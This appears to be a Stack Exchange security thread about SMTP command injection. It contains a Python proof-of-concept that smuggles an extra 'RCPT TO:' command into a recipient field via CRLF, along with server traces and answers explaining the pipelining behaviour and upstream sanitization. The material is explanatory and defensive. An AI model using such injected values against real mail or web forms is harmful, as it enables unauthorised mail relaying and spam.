On another thread a user was trying to use SMTP injections and, as a test, trying to inject a supplementary recipient for this email.

My understanding of the issue preventing him from succeeding were the following:

  1. He uses Python SMTPlib which filters parameters (unexpected data is silently dropped) precisely in order to prevent such attacks,
  2. He was injecting data at the wrong place, affecting the mail data instead of the actual SMTP protocol exchange.

However, following comments show that my understanding is erroneous and I still do not understand why. So, to avoid out-of-topic discussion on this previous thread, I open a new question with more details on my point of view.

I have written below a quick proof of concept, still in Python, and voluntary not using SMTPlib since as said above this library include protection against SMTP injection:

#! /usr/local/bin/python3.3

host = "smtp.example.com"
port = 2525

sender = "myself@example.com"

# Injection occurs here:
recipient = "realrecipient@example.com>\r\nRCPT TO:<injectedone@example.com"

msg = "From: \"Bob Example\" <bob@example.org>\r\n" + \
    "To: \"Alice Example\" <alice@example.com>\r\n" + \
    "Cc: theboss@example.com\r\n" + \
    "Date: Tue, 15 January 2008 16:02:43 -0500\r\n" + \
    "Subject: Test message\r\n" + \
    "\r\n" + \
    "This is a test\r\n"

import re
import socket
import time

def getReply(sock):
    reply = str(sock.recv(4096), "ascii")
    if reply[0] != '2' and reply[0] != '3':
        raise RuntimeError("SMTP error: " + reply)
    print("S: " + reply)

def sendCmd(sock, cmd):
    sock.sendall(bytes(cmd, "ascii"))
    print("C: " + cmd)

sock = socket.create_connection((host, port))
sendCmd(sock, "EHLO somebody.example.com\r\n")
sendCmd(sock, "MAIL FROM:<" + sender + ">\r\n")
sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
sendCmd(sock, "DATA\r\n")
sendCmd(sock, msg + "\r\n.\r\n")
sendCmd(sock, "QUIT\r\n")

This scripts simulates and SMTP injection in the recipient field.

A secure SMTP server can detect such injection because of the presence of trailing data after the line feed at the end of the RCPT TO: command. The output below is produced when executing this scripts against private OpenBSD OpenSMTPD server:

S: 220 smtp.example.com ESMTP OpenSMTPD

C: EHLO somebody.example.com

S: 250-smtp.example.com Hello somebody.example.com [], pleased to meet you
250-SIZE 36700160
250 HELP

C: MAIL FROM:<myself@example.com>

S: 250 2.0.0: Ok

C: RCPT TO:<realrecipient@example.com>
RCPT TO:<injectedone@example.com>

Traceback (most recent call last):
  File "./semail.py", line 31, in <module>
    sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
  File "./semail.py", line 25, in sendCmd
  File "./semail.py", line 19, in getReply
    raise RuntimeError("SMTP error: " + reply)
RuntimeError: SMTP error: 500 5.5.1 Invalid command: Pipelining not supported

A secure SMTP server correctly detects suspicious data and reject the request.

However, unsecured mail server will read incoming data line per line and will not detect the issue. The trace below has been obtained when executing the same script against a major public email services provider:

S: 220 smtp.example.com ESMTP ready

C: EHLO somebody.example.com

S: smtp.example.com
250-SIZE 41943040

C: MAIL FROM:<myself@example.com>

S: 250 sender <myself@example.com> ok

C: RCPT TO:<realrecipient@example.com>
RCPT TO:<injectedone@example.com>

S: 250 recipient <realrecipient@example.com> ok
250 recipient <injectedone@example.com> ok


S: 354 go ahead

C: From: "Bob Example" <bob@example.org>
To: "Alice Example" <alice@example.com>
Cc: theboss@example.com
Date: Tue, 15 January 2008 16:02:43 -0500
Subject: Test message

This is a test


S: 250 ok dirdel 1/1


S: 221 smtp.example.com

An unsecure SMTP server consumes and executes injected commands. Here the emails have been correctly received by the recipients.

My conclusion after this test is that the SMTP injection of RCPT TO: commands using the recipient field is successful, and its execution toward different servers shows that some servers are more protected that others against this attack.

Moreover, in this example an RCTP TO: command was used as a follow up of the original question, however at this step one has just access to the plain SMTP protocol discussion and is free to inject any command on vulnerable servers.

However, the comments on the original thread seems to indicate that I am currently missing something crucial in my analysis and that such conclusions are therefore irrelevant.

May someone help me to determine where exactly I am wrong in my analysis of this issue?

  • @munchkin: There is actually some debates about it. I relied first on RFC 821, which seems to be officially followed by Python's SMTPlib, however it has been deprecated in favor of RFC 5321. Why this question, haven't you? If not, RFC 1925 may also be a good reading to start... – WhiteWinterWolf May 14 '15 at 12:24
  • I've deleted the comment, since it doesn't quite help with the answer. The rfcs specify the envelope and data content, but not how the mail transfer agent or the local delivery agent deal with the data. Since most large web scale mail providers run mostly one of sendmail, exim, postfix or qmail, you could easily try this with every single one. The thing is, the RCPT TO smtp verb is meant to specify the recipient and not in the mail body portion of the smtp dialogue. – munchkin May 14 '15 at 13:10
  • I understand, but what if I do not inject in the SMTP body but directly in the sender / recipient field instead of the mail body of header? Imagine those websites were you can either recommend a page by email (recipient field) or fill a contact form (sender field), if not properly filtered (either by the web app, the language library or the SMTP server), my opinion is that one can inject any SMTP command at will (as well RCPT TO, since the server must accept at least 100 of them, as any other SMTP command, creating a new envelope might be needed but will most probably not be a problem). – WhiteWinterWolf May 14 '15 at 13:51

The SMTP protocol is based on a series of commands and replies.

RFC 821 (April 1982) expected that the client read each reply before proceeding. This way, if I send an email to Alice, Bob and Carol, there are many roundtips, as I mut do: "RCPT Alice" (wait for reply), "RCPT Bob" (wait for reply), "RCPT Carol" (wait for reply), .

Later, RFC 1854 (October 1995) defined the PIPELINING extension, allowing the client to send several the commands in one chunk, and guaranteeing that the server would process all of them in order (a server not supporting PIPELINING might discard bytes before its reply).

Thus, for a server implementing pipelining, I can do: "RCPT Alice", "RCPT Bob", "RCPT Carol" ,

I could also send , , , , DATA in one chunk. This makes programming simpler (eg. a dummy shell script handing out the email to a MDA), but is not too smart for a full fledged MTA to do, as it doesn't make much sense to send the email contents through the network if none of the recipients is available, or the recipients if MAIL was refused.

What you call an unsecured SMTP server is simply a SMTP server supporting PIPELINING, and what you call a secure SMTP server, one actively blocking it (perhaps as an attempt to block spammers, which very often just dump all the commands, not caring about errors).

In my opinion, the protection against this attack should be placed in the program providing the email. If he thought to have sent one recipient, but the server saw two, the acceptance of the second recipient would be seen as a reply to DATA, while expecting a 354 (or an error like 503, 554), and should abort at that point. (This is what Tony Meyer refered to when talking about getting an error due to being out of sequence)

| improve this answer | |
  • Thank you for your answer, this definitively answers my question. So I was wrong because, while I was basically considering SMTP as a Request - Response dialogue, servers advertising the PIPELINING feature (which most server should do for performance reasons) can accept several commands in a row. Due to this feature, it becomes impossible for them to detect such kind of injection, so there is no other choice than preventing it (request sanitization) and detecting it (ensure that server's answers matches the expectation) upstream. Thanks ! – WhiteWinterWolf May 15 '15 at 19:23

I think the point you're missing is this:

SMTP header injection isn't an attack on a mail server.

It is an attack on a web server, or other application that controls a mail server at the back end.

See the OWASP page on Testing for IMAP/SMTP Injection.

In your question, your definition of a "secure SMTP server" is one that does not support pipelining. Pipelining is where multiple headers can be sent without waiting for a response to each one, as a way of speeding up communications with the mail server.

So the way to attack a mail server with header injection is actually to attack the application that accesses the mail server, such as a web based email application. The vulnerability is that the web application is sending unsanitized input directly to the mail server, so characters such as new lines entered in the To field are actually being injected into the mail envelope rather than being interpreted as a collection of email addresses.

This is why using something like Python SMTPlib for header injection is wrong - the application developers are already aware of the header injection problem and have secured the code to handle any new lines injected into fields.

Therefore your script above is not testing an SMTP injection vulnerability, it is the vulnerability.

| improve this answer | |

The process of sending the email encompasses the generation of the mail envelope and the mail body. Anything that is not part of the DATA chunk is the mail envelope. This is classic separation of control messages and the data payload itself. And also in similar fashion to other standards, the resultant mail as delivered by the local delivery agent is in all practical aspects, subject to whims of delivery whether to apply the RCPT TO, FROM, etc to the mail headers, discarding any such occurrences in the message body.

This is done in fact as part of the design, since discovery of the receipient would not work if encryption was applied to the envelope, but encrypted message bodies are fine. This is tied very firmly with the ethos of the internet, where fundamentally everything is transmitted over untrusted networks.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.